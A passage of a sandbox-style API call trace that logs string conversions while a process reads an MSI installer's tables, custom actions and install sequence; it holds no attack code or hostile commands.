out: lpWideCharStr="Sequence with respect to the media images; order must track cabinet order.") returned 74 [0068.862] memcpy (in: _Dst=0x10cedb8, _Src=0x356b68, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.862] memcpy (in: _Dst=0x10cee40, _Src=0x356fde, _Size=0x4 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=4, lpWideCharStr=0x35a9e0, cchWideChar=4 | out: lpWideCharStr="Icon") returned 4 [0068.862] memcpy (in: _Dst=0x10cedb8, _Src=0x356b6c, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.862] memcpy (in: _Dst=0x10cee40, _Src=0x356fe2, _Size=0x23 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=35, lpWideCharStr=0x32f9b0, cchWideChar=35 | out: lpWideCharStr="Primary key. Name of the icon file.") returned 35 [0068.862] memcpy (in: _Dst=0x10cedb8, _Src=0x356b70, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.862] memcpy (in: _Dst=0x10cee40, _Src=0x357005, _Size=0x4f | out: _Dst=0x10cee40) returned 0x10cee40 [0068.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=79, lpWideCharStr=0x35b350, cchWideChar=79 | out: lpWideCharStr="Binary stream. The binary icon data in PE (.DLL or .EXE) or icon (.ICO) format.") returned 79 [0068.862] memcpy (in: _Dst=0x10cedb8, _Src=0x356b74, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.862] memcpy (in: _Dst=0x10cee40, _Src=0x357054, _Size=0x16 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=22, lpWideCharStr=0x2fa900, cchWideChar=22 | out: lpWideCharStr="InstallExecuteSequence") returned 22 [0068.862] memcpy (in: _Dst=0x10cedb8, _Src=0x356b78, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.862] memcpy (in: _Dst=0x10cee40, _Src=0x35706a, _Size=0x11 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=17, lpWideCharStr=0x2fa950, cchWideChar=17 | out: lpWideCharStr="InstallUISequence") returned 17 [0068.862] memcpy (in: _Dst=0x10cedb8, _Src=0x356b7c, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.863] memcpy (in: _Dst=0x10cee40, _Src=0x35707b, _Size=0xf | out: _Dst=0x10cee40) returned 0x10cee40 [0068.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=15, lpWideCharStr=0x33ade0, cchWideChar=15 | out: lpWideCharStr="LaunchCondition") returned 15 [0068.863] memcpy (in: _Dst=0x10cedb8, _Src=0x356b80, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.863] memcpy (in: _Dst=0x10cee40, _Src=0x35708a, _Size=0x48 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=72, lpWideCharStr=0x35b410, cchWideChar=72 | out: lpWideCharStr="Expression which must evaluate to TRUE in order for install to commence.") returned 72 [0068.863] memcpy (in: _Dst=0x10cedb8, _Src=0x356b84, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.863] memcpy (in: _Dst=0x10cee40, _Src=0x3570d2, _Size=0x48 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=72, lpWideCharStr=0x35b4c0, cchWideChar=72 | out: lpWideCharStr="Localizable text to display when condition fails and install must abort.") returned 72 [0068.863] memcpy (in: _Dst=0x10cedb8, _Src=0x356b88, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.863] memcpy (in: _Dst=0x10cee40, _Src=0x35711a, _Size=0x5 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=5, lpWideCharStr=0x35aa10, cchWideChar=5 | out: lpWideCharStr="Media") returned 5 [0068.863] memcpy (in: _Dst=0x10cedb8, _Src=0x356b8c, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.863] memcpy (in: _Dst=0x10cee40, _Src=0x35711f, _Size=0x6 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=6, lpWideCharStr=0x35aa40, cchWideChar=6 | out: lpWideCharStr="DiskId") returned 6 [0068.863] memcpy (in: _Dst=0x10cedb8, _Src=0x356b90, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.863] memcpy (in: _Dst=0x10cee40, _Src=0x357125, _Size=0x37 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=55, lpWideCharStr=0x32da20, cchWideChar=55 | out: lpWideCharStr="Primary key, integer to determine sort order for table.") returned 55 [0068.863] memcpy (in: _Dst=0x10cedb8, _Src=0x356b94, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.863] memcpy (in: _Dst=0x10cee40, _Src=0x35715c, _Size=0xc | out: _Dst=0x10cee40) returned 0x10cee40 [0068.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=12, lpWideCharStr=0x33ae20, cchWideChar=12 | out: lpWideCharStr="LastSequence") returned 12 [0068.863] memcpy (in: _Dst=0x10cedb8, _Src=0x356b98, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=54, lpWideCharStr=0x32dab0, cchWideChar=54 | out: lpWideCharStr="File sequence number for the last file for this media.") returned 54 [0068.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=10, lpWideCharStr=0x33ae60, cchWideChar=10 | out: lpWideCharStr="DiskPrompt") returned 10 [0068.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=132, lpWideCharStr=0x35b570, cchWideChar=132 | out: lpWideCharStr="Disk name: the visible text actually printed on the disk. This will be used to prompt the user when this disk needs to be inserted.") returned 132 [0068.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=7, lpWideCharStr=0x35aa70, cchWideChar=7 | out: lpWideCharStr="Cabinet") returned 7 [0068.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=102, lpWideCharStr=0x2fce00, cchWideChar=102 | out: lpWideCharStr="If some or all of the files stored on the media are compressed in a cabinet, the name of that cabinet.") returned 102 [0068.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=11, lpWideCharStr=0x33aea0, cchWideChar=11 | out: lpWideCharStr="VolumeLabel") returned 11 [0068.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=35, lpWideCharStr=0x32fa20, cchWideChar=35 | out: lpWideCharStr="The label attributed to the volume.") returned 35 [0068.864] CExposedStream::Read () returned 0x0 [0068.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=8, lpWideCharStr=0x35aaa0, cchWideChar=8 | out: lpWideCharStr="Property") returned 8 [0068.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=55, lpWideCharStr=0x32db40, cchWideChar=55 | out: lpWideCharStr="The property defining the location of the cabinet file.") returned 55 [0068.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=62, lpWideCharStr=0x32bd10, cchWideChar=62 | out: lpWideCharStr="Name of property, uppercase if settable by launcher or loader.") returned 62 [0068.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=48, lpWideCharStr=0x34a940, cchWideChar=48 | out: lpWideCharStr="String value for property. Never null or empty.") returned 48 [0068.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=8, lpWideCharStr=0x35aad0, cchWideChar=8 | out: lpWideCharStr="Registry") returned 8 [0068.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=33, lpWideCharStr=0x32fa90, cchWideChar=33 | out: lpWideCharStr="Primary key, non-localized token.") returned 33 [0068.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=4, lpWideCharStr=0x35ab00, cchWideChar=4 | out: lpWideCharStr="Root") returned 4 [0068.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=63, lpWideCharStr=0x32bdb0, cchWideChar=63 | out: lpWideCharStr="The predefined root key for the registry value, one of rrkEnum.") returned 63 [0068.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=3, lpWideCharStr=0x35ab30, cchWideChar=3 | out: lpWideCharStr="Key") returned 3 [0068.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=7, lpWideCharStr=0x35ab60, cchWideChar=7 | out: lpWideCharStr="RegPath") returned 7 [0068.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=31, lpWideCharStr=0x339270, cchWideChar=31 | out: lpWideCharStr="The key for the registry value.") returned 31 [0068.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=24, lpWideCharStr=0x2fa9a0, cchWideChar=24 | out: lpWideCharStr="The registry value name.") returned 24 [0068.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=19, lpWideCharStr=0x2fa9f0, cchWideChar=19 | out: lpWideCharStr="The registry value.") returned 19 [0068.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=110, lpWideCharStr=0x35b6d0, cchWideChar=110 | out: lpWideCharStr="Foreign key into the Component table referencing component that controls the installing of the registry value.") returned 110 [0068.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=7, lpWideCharStr=0x35ab90, cchWideChar=7 | out: lpWideCharStr="Upgrade") returned 7 [0068.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=11, lpWideCharStr=0x33aee0, cchWideChar=11 | out: lpWideCharStr="UpgradeCode") returned 11 [0068.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=59, lpWideCharStr=0x32be50, cchWideChar=59 | out: lpWideCharStr="The UpgradeCode GUID belonging to the products in this set.") returned 59 [0068.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=10, lpWideCharStr=0x33af20, cchWideChar=10 | out: lpWideCharStr="VersionMin") returned 10 [0068.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=126, lpWideCharStr=0x35f6a0, cchWideChar=126 | out: lpWideCharStr="The minimum ProductVersion of the products in this set. The set may or may not include products with this particular version.") returned 126 [0068.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=10, lpWideCharStr=0x33af60, cchWideChar=10 | out: lpWideCharStr="VersionMax") returned 10 [0068.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=126, lpWideCharStr=0x35f7c0, cchWideChar=126 | out: lpWideCharStr="The maximum ProductVersion of the products in this set. The set may or may not include products with this particular version.") returned 126 [0068.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=96, lpWideCharStr=0x35f8e0, cchWideChar=96 | out: lpWideCharStr="A comma-separated list of languages for either products in this set or products not in this set.") returned 96 [0068.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=35, lpWideCharStr=0x32fb00, cchWideChar=35 | out: lpWideCharStr="The attributes of this product set.") returned 35 [0068.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=6, lpWideCharStr=0x35abc0, cchWideChar=6 | out: lpWideCharStr="Remove") returned 6 [0068.865] CExposedStream::Read () returned 0x0 [0068.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=96, lpWideCharStr=0x35f9c0, cchWideChar=96 | out: lpWideCharStr="The list of features to remove when uninstalling a product from this set. The default is \"ALL\".") returned 96 [0068.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=14, lpWideCharStr=0x33afa0, cchWideChar=14 | out: lpWideCharStr="ActionProperty") returned 14 [0068.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=56, lpWideCharStr=0x32dbd0, cchWideChar=56 | out: lpWideCharStr="The property to set when a product in this set is found.") returned 56 [0068.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=14, lpWideCharStr=0x33afe0, cchWideChar=14 | out: lpWideCharStr="CostInitialize") returned 14 [0068.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=8, lpWideCharStr=0x35abf0, cchWideChar=8 | out: lpWideCharStr="FileCost") returned 8 [0068.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=12, lpWideCharStr=0x33b020, cchWideChar=12 | out: lpWideCharStr="CostFinalize") returned 12 [0068.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=15, lpWideCharStr=0x33b060, cchWideChar=15 | out: lpWideCharStr="InstallValidate") returned 15 [0068.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=17, lpWideCharStr=0x2faa40, cchWideChar=17 | out: lpWideCharStr="InstallInitialize") returned 17 [0068.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=19, lpWideCharStr=0x2faa90, cchWideChar=19 | out: lpWideCharStr="InstallAdminPackage") returned 19 [0068.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=12, lpWideCharStr=0x33b0a0, cchWideChar=12 | out: lpWideCharStr="InstallFiles") returned 12 [0068.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=15, lpWideCharStr=0x33b0e0, cchWideChar=15 | out: lpWideCharStr="InstallFinalize") returned 15 [0068.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=13, lpWideCharStr=0x33b120, cchWideChar=13 | out: lpWideCharStr="ExecuteAction") returned 13 [0068.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=15, lpWideCharStr=0x33b160, cchWideChar=15 | out: lpWideCharStr="PublishFeatures") returned 15 [0068.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=14, lpWideCharStr=0x33b1a0, cchWideChar=14 | out: lpWideCharStr="PublishProduct") returned 14 [0068.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=22, lpWideCharStr=0x2faae0, cchWideChar=22 | out: lpWideCharStr="bz.WrappedSetupProgram") returned 22 [0068.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=18, lpWideCharStr=0x2fab30, cchWideChar=18 | out: lpWideCharStr="bz.CustomActionDll") returned 18 [0068.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=19, lpWideCharStr=0x35fad0, cchWideChar=19 | out: lpWideCharStr="bz.ProductComponent") returned 19 [0068.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=38, lpWideCharStr=0x32fb70, cchWideChar=38 | out: lpWideCharStr="{EDE10F6C-30F4-42CA-B5C7-ADB905E45BFC}") returned 38 [0068.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=16, lpWideCharStr=0x33b1e0, cchWideChar=16 | out: lpWideCharStr="BZ.INSTALLFOLDER") returned 16 [0068.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=12, lpWideCharStr=0x33b220, cchWideChar=12 | out: lpWideCharStr="regLogonUser") returned 12 [0068.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=19, lpWideCharStr=0x35fb20, cchWideChar=19 | out: lpWideCharStr="bz.EarlyInstallMain") returned 19 [0068.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=14, lpWideCharStr=0x33b260, cchWideChar=14 | out: lpWideCharStr="_InstallMain@4") returned 14 [0068.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=38, lpWideCharStr=0x32fbe0, cchWideChar=38 | out: lpWideCharStr="bz.EarlyInstallSetPropertyForDeferred1") returned 38 [0068.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=22, lpWideCharStr=0x35fb70, cchWideChar=22 | out: lpWideCharStr="bz.EarlyInstallFinish2") returned 22 [0068.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=12, lpWideCharStr=0x33b2a0, cchWideChar=12 | out: lpWideCharStr="[BZ.INIFILE]") returned 12 [0068.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=17, lpWideCharStr=0x35fbc0, cchWideChar=17 | out: lpWideCharStr="_InstallFinish2@4") returned 17 [0068.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=21, lpWideCharStr=0x35fc10, cchWideChar=21 | out: lpWideCharStr="bz.LateInstallPrepare") returned 21 [0068.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=17, lpWideCharStr=0x35fc60, cchWideChar=17 | out: lpWideCharStr="_InstallPrepare@4") returned 17 [0068.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=37, lpWideCharStr=0x32fc50, cchWideChar=37 | out: lpWideCharStr="bz.LateInstallSetPropertyForDeferred1") returned 37 [0068.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=21, lpWideCharStr=0x35fcb0, cchWideChar=21 | out: lpWideCharStr="bz.LateInstallFinish1") returned 21 [0068.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=17, lpWideCharStr=0x35fd00, cchWideChar=17 | out: lpWideCharStr="_InstallFinish1@4") returned 17 [0068.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=37, lpWideCharStr=0x32fcc0, cchWideChar=37 | out: lpWideCharStr="bz.LateInstallSetPropertyForDeferred2") returned 37 [0068.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=21, lpWideCharStr=0x35fd50, cchWideChar=21 | out: lpWideCharStr="bz.LateInstallFinish2") returned 21 [0068.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=14, lpWideCharStr=0x33b2e0, cchWideChar=14 | out: lpWideCharStr="bz.CheckReboot") returned 14 [0068.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=14, lpWideCharStr=0x33b320, cchWideChar=14 | out: lpWideCharStr="_CheckReboot@4") returned 14 [0068.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=19, lpWideCharStr=0x35fda0, cchWideChar=19 | out: lpWideCharStr="bz.UninstallPrepare") returned 19 [0068.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=19, lpWideCharStr=0x35fdf0, cchWideChar=19 | out: lpWideCharStr="_UninstallPrepare@4") returned 19 [0068.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=35, lpWideCharStr=0x32fd30, cchWideChar=35 | out: lpWideCharStr="bz.UninstallSetPropertyForDeferred1") returned 35 [0068.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=19, lpWideCharStr=0x35fe40, cchWideChar=19 | out: lpWideCharStr="bz.UninstallFinish1") returned 19 [0068.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=19, lpWideCharStr=0x35fe90, cchWideChar=19 | out: lpWideCharStr="_UninstallFinish1@4") returned 19 [0068.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=35, lpWideCharStr=0x32fda0, cchWideChar=35 | out: lpWideCharStr="bz.UninstallSetPropertyForDeferred2") returned 35 [0068.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=19, lpWideCharStr=0x35fee0, cchWideChar=19 | out: lpWideCharStr="bz.UninstallFinish2") returned 19 [0068.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=19, lpWideCharStr=0x35ff30, cchWideChar=19 | out: lpWideCharStr="_UninstallFinish2@4") returned 19 [0068.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=19, lpWideCharStr=0x35ff80, cchWideChar=19 | out: lpWideCharStr="bz.UninstallWrapped") returned 19 [0068.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=19, lpWideCharStr=0x35ffd0, cchWideChar=19 | out: lpWideCharStr="_UninstallWrapped@4") returned 19 [0068.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=18, lpWideCharStr=0x360020, cchWideChar=18 | out: lpWideCharStr="ProgramFilesFolder") returned 18 [0068.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=25, lpWideCharStr=0x3392d0, cchWideChar=25 | out: lpWideCharStr="bxjvilw7|[BZ.COMPANYNAME]") returned 25 [0068.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=9, lpWideCharStr=0x33b360, cchWideChar=9 | out: lpWideCharStr="TARGETDIR") returned 9 [0068.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=1, lpWideCharStr=0x35ac20, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0068.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=9, lpWideCharStr=0x33b3a0, cchWideChar=9 | out: lpWideCharStr="SourceDir") returned 9 [0068.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=14, lpWideCharStr=0x33b3e0, cchWideChar=14 | out: lpWideCharStr="ProductFeature") returned 14 [0068.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=12, lpWideCharStr=0x33b420, cchWideChar=12 | out: lpWideCharStr="Main Feature") returned 12 [0068.869] CExposedStream::Read () returned 0x0 [0068.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=19, lpWideCharStr=0x360070, cchWideChar=19 | out: lpWideCharStr="FindRelatedProducts") returned 19 [0068.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=16, lpWideCharStr=0x360ad0, cchWideChar=16 | out: lpWideCharStr="LaunchConditions") returned 16 [0068.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=17, lpWideCharStr=0x3600c0, cchWideChar=17 | out: lpWideCharStr="ValidateProductID") returned 17 [0068.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=20, lpWideCharStr=0x360110, cchWideChar=20 | out: lpWideCharStr="MigrateFeatureStates") returned 20 [0068.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=17, lpWideCharStr=0x360160, cchWideChar=17 | out: lpWideCharStr="ProcessComponents") returned 17 [0068.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=17, lpWideCharStr=0x3601b0, cchWideChar=17 | out: lpWideCharStr="UnpublishFeatures") returned 17 [0068.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=20, lpWideCharStr=0x360200, cchWideChar=20 | out: lpWideCharStr="RemoveRegistryValues") returned 20 [0068.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=19, lpWideCharStr=0x360250, cchWideChar=19 | out: lpWideCharStr="WriteRegistryValues") returned 19 [0068.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=12, lpWideCharStr=0x360b10, cchWideChar=12 | out: lpWideCharStr="RegisterUser") returned 12 [0068.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=15, lpWideCharStr=0x360b50, cchWideChar=15 | out: lpWideCharStr="RegisterProduct") returned 15 [0068.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=13, lpWideCharStr=0x360b90, cchWideChar=13 | out: lpWideCharStr="ResolveSource") returned 13 [0068.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=45, lpWideCharStr=0x34a9c0, cchWideChar=45 | out: lpWideCharStr="NOT REMOVE ~=\"ALL\" AND NOT UPGRADEPRODUCTCODE") returned 45 [0068.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=22, lpWideCharStr=0x3602a0, cchWideChar=22 | out: lpWideCharStr="RemoveExistingProducts") returned 22 [0068.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=74, lpWideCharStr=0x361aa0, cchWideChar=74 | out: lpWideCharStr="NOT REMOVE ~=\"ALL\" AND NOT UPGRADEPRODUCTCODE AND BZ.INSTALLMODE = \"EARLY\"") returned 74 [0068.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=44, 